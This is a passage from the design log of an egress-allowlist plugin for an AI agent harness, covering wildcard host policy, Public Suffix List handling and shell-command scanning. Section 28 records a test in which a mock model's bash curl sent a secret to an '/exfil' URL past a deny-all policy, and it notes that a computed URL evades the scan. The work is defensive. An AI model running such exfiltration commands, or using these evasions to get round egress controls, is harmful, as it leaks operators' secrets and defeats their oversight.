what keeps `*.mybucket.s3.amazonaws.com` and the exact `mybucket.s3.amazonaws.com` working. **`allowWideWildcards` is the opt-in, at rank 2.** It is the shape `allowPrivateAddresses` already has: the dangerous thing is refused by default and the deployment names the exact one it wants. That is what makes an incomplete table acceptable — an operator can open a namespace this package never listed, so a missing entry costs a wider grant and a wrong entry costs one line of configuration. It sits at rank 2 beside `allowPrivateAddresses` because opening a namespace widens the allow list, and the rank-3 repo-local tier may only tighten; the rank-3 key list is closed, so a `policyFile` carrying it invalidates the whole document rather than being half-applied. An entry names the namespace (`s3.amazonaws.com`), not a pattern. One entry opens both the `*.` and the `**.` spelling, and accepting `*.s3.amazonaws.com` there would leave which of the two it opened unsaid. A top-level domain cannot be opened at all: `*` in the allow list is already the entry that means every host, and a wildcard over one whole TLD is a floor this keeps, the way the cloud metadata endpoints are a floor `allowPrivateAddresses` keeps. **The message names the fix.** `mount.ts` quotes the whole composition patch character for character because an operator meeting it at boot needs the line to write. The same standard applies here: the refusal quotes the narrowed `allow` entry — carrying the port and path of the entry that failed, so it can be pasted over it — and the `allowWideWildcards` line, and says that the latter is deployment configuration a `policyFile` cannot open. `tests/e2e/netguard.e2e.ts` asserts both remedies against the stderr of a real `dsh` process whose boot this refusal fails. ## 27. The multi-part public suffix table is completed for the country-code shape — selection superseded by §30 The shipped table stopped after about forty entries — the United Kingdom, Australia, Japan, Brazil, China, India and a dozen more — and everything past them was accepted. `*.co.ke`, `*.com.pk`, `*.com.ng`, `*.com.eg`, `*.gob.mx` and `*.or.ke` all compiled, so an operator in a country the table happened not to list got a wildcard over every company registered there. This is the same intent, finished for the shape the table already had. The selection is stated in `src/suffixes.ts`: every rule of exactly two labels whose top-level label is a two-character country code and whose second level is a generic administrative namespace — `com`, `co`, `org`, `net`, `edu`, `gov`, `mil`, `ac`, `ne`, `or`, `go`, `gob`, `gouv`, `nom`, `asso`, `sch` and about eighty more — taken from both sections of the Public Suffix List, plus the nine ICANN wildcard rules of two labels or more (`sch.uk`, `nom.br`, `kawasaki.jp` and its six siblings). Both sections are read because a namespace like `com.ru` is a private-section entry and was already in the shipped table. The rationale is separate from §26 on purpose. §26 refuses a vendor's self-service namespace, which is a new policy about what an allowlist may name; this refuses a registry's own second level, which the package already refused and only refused in part. If one has to come out, the other stands. The selection here is the one part of the shipped data that a second reader can already apply unaided — "two labels, a two-character country code on top, a generic administrative namespace under it" decides any candidate without consulting the author's judgement. §29 is the same standard applied to the rest. **What is left out.** The geographic second levels a registry runs under its own top-level domain — `oslo.no` and its seven hundred siblings, `aichi.jp`, `ny.us`, `roma.it`, the Brazilian category namespaces — and the deeper structure under them, `k12.ak.us` and `act.edu.au`. They are public suffixes and a wildcard over one is genuinely wide; they are not what an egress allowlist gets written over, and carrying them would double the table for the part nobody writes. `tests/unit/hosts.spec.ts` pins that line with `*.oslo.no` and `*.ny.us`, so a later change to it is a deliberate one. The nine ICANN wildcard rules are carried as their parent name only: `*.sch.uk` is refused, and `*.aschool.sch.uk` is not. Reading them one label deeper, the way §26 reads the private section's wildcard rules, would also refuse the eight names the list's exception rules hand to a single holder (`city.kawasaki.jp`), and eight refusals of a name its owner controls is the wrong trade for nine namespaces nobody allowlists a subdomain of. A deployment closes any of these with a `deny` entry, and opens any entry in the table with `allowWideWildcards`. ## 28. The command-text arm reads what a command says, and says so `bash`, `pwsh` and `run_code` were listed as ungoverned, and they were the largest gap the README named. Reproduced against 0.5.1: with `mode: enforce` and `allow: []` — a policy that denies every host — a mock model calling `bash` with `curl -sS 'http://127.0.0.1:PORT/exfil?secret=…'` reached the fixture, got the body back, and this package spooled **zero** records. The same run with `run_code` and a `fetch()` in the program did the same. `127.0.0.1` is a refused address, so even the address floor was bypassed. **What the harness makes possible.** A survey of the installed `@deepseek-ai` tree found no seam, event or registry that observes a byte a child process sends: `dsh-subprocess` has no egress hooks at all, `ctx.shellEnv.register` refuses any variable outside `DSH_*` so `HTTP_PROXY` cannot be injected through the declared surface, and the argv for a bash call is fixed at `["bash","-c",command]` with no wrapper indirection. What *is* available is `ctx.tools.guard()` and the `tools/pre-execute` waterfall, both of which run before the spawn and both of which are handed the model-authored argument. So the only control this layer can offer is one over the text. **What that buys, stated at its true size.** It is the same class of control as the outbound-query filter on `web_search`: a parse-time reading of model-authored text. `curl "$(cat url.txt)"` defeats it, and so does any program that computes its destination. What it stops is the obvious workaround — a model or an injected instruction that meets a refused `web_fetch` and reaches for `curl`. What it adds for an operator is the only lane there is into which hosts an agent's commands name at all: the arm feeds the same host memory and therefore `report --suggest`. **Only URL spellings by default.** Reusing the search filter's bare-token heuristic wholesale was measured before it was rejected: over eight ordinary developer commands it reads `main.cc`, `Makefile.in`, `Makefile.am` and `socket.io` as hostnames. In enforce mode each of those refuses a build. So a URL written with a scheme is read always, and every other spelling is behind `shell.readTextHosts`, which a deployment turns on when its agent's commands are narrow enough that the trade goes the other way. The scanners themselves are shared with the query filter (`urlsNamedIn`), so a spelling one arm reads is a spelling both read. **Address literals are decided; names are not.** A URL naming an address is checked against the refused-address table, so `curl http://169.254.169.254/` is refused under `allow: ['*']` exactly as the same URL through `web_fetch` is. A URL naming a host is not resolved: a lookup inside a synchronous guard is I/O the agent loop waits on, and it is itself a request leaving the host for a command that has not run. §1's rebinding argument does not apply either — there is no socket here to pin. **Length is fail-closed, like the query filter.** A command past `shell.maxCommandLength` (64 KiB) is denied unscanned against the `(command)` marker rather than scanned, for the reason §15 gives: the scan is synchronous inside the guard and its cost is model-controlled. The bound is far above the query bound because a `run_code` program arrives through the same argument as a one-line `curl`. **One record per destination, none for a command that names none.** The search arm reports the first refusal; this one reports every named destination, because an audit lane whose purpose is "which hosts do this agent's commands reach for" loses its point if it stops at the first. A command with no destination in it produces nothing: there is no decision a host allowlist has to make about `ls`, and one record per `bash` call would drown the spool. **`commands` replaces rather than extends.** The built-in map is `bash`/`pwsh` → `command` and `run_code` → `code`, verified against the installed `dsh-tool-bash`, `dsh-tool-bash-persistent`, `dsh-tool-pwsh`, `dsh-tool-pwsh-persistent` and `dsh-tools`' code-mode tool. A deployment naming its own map restates those it still wants, so a map cannot silently half-cover the shells that are mounted. `enabled: false` is the off switch; an empty map is the absent one. ## 29. netguard states its own namespaces, and measures what it still leaves open §13 said no public suffix list, and by 0.5.0 the package shipped 2,806 entries derived from one. The data outgrew the decision that governed it, and what replaced that decision was a judgement — §26 keeps "the platforms an agent deployment plausibly reaches" — which no second reader can apply to a candidate without asking the author. This section replaces the judgement with a rule, adds the table the Public Suffix List structurally cannot give us, and states the size of the hole that is left. **Where the Public Suffix List runs out.** It is populated by request. A namespace is on it because its owner asked, so a namespace whose owner never asked is absent from it however freely it hands out hostnames. Measured against the list fetched on 2026-09-04 (a measurement, not a build step — nothing in `package.json` fetches anything): `wordpress.com`, `zendesk.com`, `atlassian.net`, `slack.com`, `substack.com`, `squarespace.com`, `glitch.me`, `surge.sh`, `tumblr.com`, `livejournal.com` and `app.github.dev` are absent from both of its sections. No selection from that list, however complete, refuses `*.wordpress.com`. **The rule: the vacant-tenant test.** `src/observed-namespaces.ts` carries a name when both halves hold, and carries the evidence for the second: 1. A label nobody has claimed **resolves** under the name. 2. The name's own operator **answers that hostname with a vacancy** — a response saying no tenant holds it. Both halves are needed. The first alone admits any catch-all: `railway.app`, `serveo.net` and `statuspage.io` all resolve an unclaimed label and were **not** admitted, because each answered with the operator's marketing page rather than a per-hostname vacancy. The second is what shows the frontend routing by hostname to independent tenants, which is the property that makes a wildcard over the name a grant to strangers. Probed with the label `dsh-netguard-probe-8f3a1c`: `livejournal.com` replied "The journal dsh-netguard-probe-8f3a1c is not currently registered", `wordpress.com` redirected to `/typo/?subdomain=dsh-netguard-probe-8f3a1c`, `freshdesk.com` said "We couldn't find … You can claim it now", `lhr.life` said "no tunnel here :(". Twenty names passed. Each entry records the status and the quoted vacancy so the check is re-runnable rather than taken on trust. The rule is testable as well as applicable. `tests/unit/hosts.spec.ts` asserts that every entry is absent from all three Public-Suffix-derived sets — this table exists for what that list does not carry, and an entry that belongs there instead is a bug — and that every entry carries a probe date and a non-empty vacancy quote. **Measured, old against new.** Over a corpus of 67 real namespaces an agent deployment reaches: | Table | Refuses | |---|---| | 0.4.0, 52 hand-picked country-code suffixes | 0 of 67 | | 0.6.0, 2,806 entries derived from the Public Suffix List | 29 of 67 | | with `observed-namespaces.ts` | 49 of 67 | Newly refused, each of them a wildcard that used to compile: `*.wordpress.com`, `*.zendesk.com`, `*.atlassian.net`, `*.slack.com`, `*.substack.com`, `*.squarespace.com`, `*.freshdesk.com`, `*.weebly.com`, `*.tumblr.com`, `*.livejournal.com`, `*.glitch.me`, `*.surge.sh`, `*.itch.io`, `*.neocities.org`, `*.sourceforge.io`, `*.modal.run`, `*.koyeb.app`, `*.app.github.dev`, `*.tunnelto.dev`, `*.lhr.life`. `*.slack.com` on an allow list is every Slack workspace on the internet; `*.atlassian.net` is every Jira and Confluence tenant; `*.zendesk.com` is every help centre. Each read like a grant to one vendor and was a grant to everyone who signed up. **What is still open, stated as a number rather than a caveat.** Eighteen of the sixty-seven are still accepted, `sharepoint.com`, `my.salesforce.com`, `googleusercontent.com`, `gitpod.io` and `statuspage.io` among them — probed and not admitted, because the probe could not produce a vacancy answer for them, and a rule that only binds when it is convenient is not a rule. Wider: of the Public Suffix List's own 3,300 private-section rules, **1,827 still compile as an allow wildcard**, and of its 5,501 ICANN bases of two labels or more, **4,168 do**. Those are namespaces their own owners and registries declared, and §26's selection dropped them. Closing that gap means carrying both sections whole, which is the vendored-list dependency this package has decided against twice; the open question is recorded at the end of this section rather than resolved here. **The failure mode, and why it is survivable in one direction only.** This table is incomplete and will go stale, and §13's objection to a staleable file in the trusted computing base is not answered by the file being ours. What is answered is the consequence: - A namespace it does not carry is **accepted**. A wildcard over it grants every name a stranger creates there, silently. This is the dangerous direction, it is where the 1,827 sit, and it is why the number above is in this section rather than in a limitations note. - A namespace that stops being self-service is **refused** after it should not be. The deployment writes one `allowWideWildcards` line and boots. Recoverable, loudly, at load. The refusal is at load, never at request time, so no entry in this table can change what a running agent is allowed to reach — it can only fail a boot that quotes the fix. That is what makes an incomplete table an acceptable thing to ship, and it is the same argument §26 made for `allowWideWildcards`, applied to data netguard authored rather than copied. **Measured against real allow-list shapes before it shipped.** Twelve tenant-scoped entries over the twenty new namespaces — `*.mycompany.atlassian.net`, `myteam.slack.com`, `myblog.wordpress.com`, `mycodespace-8080.app.github.dev` and the rest — all still compile, because an operator naming their own tenant has a label of their own between the wildcard and the namespace. Seven ordinary corporate names compile. Of the twenty-two host patterns this repository's own documentation puts in front of an operator, twenty compile; the two that do not are `*.co.ke`, which the docs print *as* a refusal, and `**.githubusercontent.com`, which §26 has refused since 0.5.0 while `docs/enforcement.md` went on recommending it — a defect this change found and fixed. **Open, and needing the maintainer rather than another commit.** Whether to carry the Public Suffix List's private and ICANN sections whole, and retire §26's and §27's selections, is the 1,827 + 4,168 decision above. It is the only way to close that gap, and it is precisely the "vendored list in the trusted computing base" this project has now refused twice. Nothing here depends on the answer: `observed-namespaces.ts` covers what that list cannot carry either way. **Answered in §30**, which carries both sections whole and relaxes §26's refusal to an advisory. The vacant-tenant rule and `observed-namespaces.ts` are unchanged and are not superseded: the twenty names they carry are absent from that list by construction. ## 30. The Public Suffix List is carried whole, and a wide wildcard is an advisory Two changes land together because each is the other's cost control. §29 left one question open — whether to carry both sections of the Public Suffix List whole and retire §26's and §27's selections — and the maintainer answered a second one alongside it: > "lets make it advisory and operator can decide himself, i actually doesn't see a problem in PSL > list at all — if user wants to connect to S3 bucket he can freely use allow: > ['*.s3.amazonaws.com'] — such things is simple and provide basic net security." **The list, whole.** `src/suffixes.ts` now carries every rule of both sections: 6,949 ICANN rules and 3,372 private rules, of which the 8,865 with two labels or more are kept, plus the 287 wildcard-rule parents and the 8 exception rules. The 1,448 one-label rules are dropped because a wildcard over a top-level domain is refused by the grammar before this data is read. Generated by `scripts/regenerate-suffixes.mjs` from `public_suffix_list.dat` VERSION `2026-09-03_19-51-30_UTC`, COMMIT `b952f046c27f9b2a7c3e5d2060f9e3acbc4cf1e8`, retrieved 2026-09-05, and punycoded through WHATWG `URL` because that is what `identifyHost` does to a request hostname. This is the vendored list §13 refused and §29 recorded as open. What made it refusable then was that the alternative — a judgement about "the platforms an agent deployment plausibly reaches" — had to be applied by a reader who could not apply it. What makes it acceptable now is measured: the selection left **1,899 private-section rules and 4,160 ICANN bases** compiling as an allow wildcard with nothing said about them, and the whole list leaves **none**. **The exception rules, which the selection could not honour.** §27 carried the nine ICANN wildcard rules as their parent name only, and said so: reading them one label deeper would also refuse the eight names the list's exception rules hand to a single holder, and eight wrong refusals was the wrong trade for nine namespaces. Carrying the list whole removes the trade. `*.kawasaki.jp` and `*.aschool.kawasaki.jp` are wide; `*.city.kawasaki.jp` and `**.www.ck` are not, because the list says those names have one owner. **Staleness, stated rather than mitigated.** Nothing in this package fetches the list — not at build, not at load, not at request time — so the data is exactly as old as the installed release. `PUBLIC_SUFFIX_VERSION`, `PUBLIC_SUFFIX_COMMIT` and `PUBLIC_SUFFIX_RETRIEVED` are exported and the advisory quotes them, so a reader who disagrees with a finding can see which revision produced it. The two directions are not symmetric, and only one of them is dangerous: - A namespace the list does not carry — added after this release, or never submitted at all, since the list is populated by request — is **not wide here, and nothing says anything about it**. `*.sharepoint.com`, `*.my.salesforce.com`, `*.googleusercontent.com`, `*.gitpod.io`, `*.statuspage.io`, `*.serveo.net` and `*.zoom.us` were checked against this release and each compiles in silence. This is where the remaining gap lives. `src/observed-namespaces.ts` and its vacant-tenant rule (§29) are unchanged and still cover the twenty names netguard probed; the whole list does not supersede them, because those twenty are absent from it by construction. - A namespace that stops being self-service stays wide here, and costs one line of configuration. **Cost, measured.** The vendored data plus the derived ancestor-closure table go from 642 KiB to 1,865 KiB of heap (`node --expose-gc`, five collections either side of the import); `hosts.ts` with everything it pulls in is 2,229 KiB. The file is 1,696 lines and 177 KB, not the ~15,000 lines §13 feared, because entries are packed rather than one per line. The descendant scan the advisory uses runs over 8,885 names once per wide entry at load, never per request. ### The advisory, and why this relaxation is defensible §26 made a wide allow entry a load-time error, shipped as a breaking change in 0.5.0. **That is now relaxed by default.** Being clear about the direction: a configuration that failed to boot on 0.6.0 starts on 0.7.0 and carries exactly the grant it always read. The argument for it is the maintainer's, and it is about what an operator does when the boot fails. `*.s3.amazonaws.com` against no allow list at all is an enormous narrowing, and it is one line. A control that refuses the one line an operator will actually write pushes them to `*` or to not mounting the plugin, and a refusal that produces a worse deployment is not a control. Against that, the refusal's own case — that the entry reads like one vendor and is a grant to strangers — is a case about the operator *knowing*, not about the operator being *stopped*. So the entry is admitted and the knowing is made mandatory. Three things carry that: - **The advisory names what the entry does not say.** The namespace; why it is one, in the words of whichever table carries it — the list's private section, its ICANN section, one of its wildcard rules, or netguard's own probe, quoting that probe's date and vacancy response; what else the entry admits, by example and by count, which is how `*.amazonaws.com` gets read out as the 561 namespaces beneath it; the list revision the judgement came from; the narrowed entry with the port and path of the one that was written; and the exact `allowWideWildcards` line that records the decision as made. It goes to `ctx.logger.warn` **and** to `process.stderr`, for the reason `report()` already does both: the logger's default exporter is an in-memory ring buffer. It is printed at **every boot**, not once, because a wide entry is a standing property of the deployment rather than an event. - **An admitted wide entry is recorded.** `HostPattern` carries the namespace, `HostVerdict` and `Decision` pass it through, and every record of a decision it cleared carries `wide_wildcard: "s3.amazonaws.com"` in the extension-owned attributes — including the ones the deployment declared, because declaring a namespace does not narrow it. `dsh-netguard report` totals them and tallies the namespaces, so "one entry written for a single bucket is carrying most of this agent's egress" is a question the spool answers. The verdict itself is unchanged: a wide entry allows what it allows, and a record claiming otherwise would be a false negative. The known hole is that an entry no request used leaves no record; the boot advisory is what states the posture in that case, which is the second reason it is per-boot. - **`wideWildcards: 'refuse'` restores the 0.5.0 behaviour exactly.** Message, both remedies, boot failure. Named for what it governs and defaulted to `'warn'` because that is the decision being made here; a deployment that wants the old floor writes one line, and the docs say so in the upgrade note rather than only in the reference. **Why both `wideWildcards` and `allowWideWildcards` exist.** They are a default and a list, the same shape `mode` and `deny` already have, and each has exactly one meaning: - `allowWideWildcards` names namespaces the deployment **reviewed and accepted**. That meaning is identical under both postures. Under `refuse` the review is what makes the entry compile at all; under `warn` the entry compiles either way and the review is what stops the advisory. It never changes what the entry grants and never removes `wide_wildcard` from a record. - `wideWildcards` says what happens to every namespace the deployment did **not** review. Merging them was considered and rejected: a single key would have to encode both "which namespaces" and "what about the others", and the one design that fits — a nested object deprecating a key 0.6.0 shipped — is a config rename inside a release that is already a security relaxation. The pair is not two mechanisms for one thing; it is a list and the default for everything not on it. **Both stay at rank 2**, and for a reason the tighten-only rule does not settle on its own. `allowWideWildcards` widens, so rank 3 obviously cannot set it. `wideWildcards: 'refuse'` from a repo-local file would only tighten — but it would let a hostile workspace fail the boot of a deployment whose wide entry was deliberate, which is a denial of service dressed as a tightening. Neither is a decision a workspace gets to make about its host's egress, so the rank-3 key list stays closed and a `policyFile` carrying either invalidates the whole document. ### The false-positive direction, measured Carrying the list whole makes far more shapes wide: 6,162 more bases than 0.6.0 (3,124 → 9,286), of which 3,779 are two-label names. Nearly all are genuine namespaces their own owners declared. 401 are wide only as an *ancestor* of a listed namespace, and that set is where the false positives are: `*.salesforce.com`, `*.linode.com`, `*.render.com`, `*.fastly.net`, `*.fedoraproject.org` and `*.rit.edu` are wildcards over an organisation's own domain, and each now produces a finding. §26's ancestor rule is still right — `*.amazonaws.com` matches everything `*.s3.amazonaws.com` matches and more, so flagging the narrower spelling while passing the broader one would be incoherent — but under 0.6.0 each of those would have been a boot failure, and the advisory default is what makes a table this aggressive shippable. The two halves of this change hold each other up. Against the corpus §29 measured, re-run and now pinned in `tests/unit/hosts.spec.ts`: twelve tenant-scoped shapes — **0 of 12 moved**; seven ordinary corporate names — **0 of 7 moved**; the host patterns this repository's documentation puts in front of an operator — **2 of 38 moved**, `*.oslo.no` and `*.ny.us`, which are the geographic second levels §27 deliberately left out and carrying the list whole is what added. The doc corpus's exact wide set is asserted, so a later data change that moves a line the documentation prints is a deliberate edit here. **What §26, §27 and §29 keep.** §26's refusal of a prefix wildcard, its ancestor rule, its reading of the list's wildcard rules one label deeper, and its standard for the message. §27's whole rationale, now applied to the rest of the ICANN section rather than to a generic-administrative selection of it; its note about what was left out is superseded by this section. §29's vacant-tenant rule, `observed-namespaces.ts`, and its statement that the dangerous direction is the namespace no table carries — which this section restates with the numbers moved.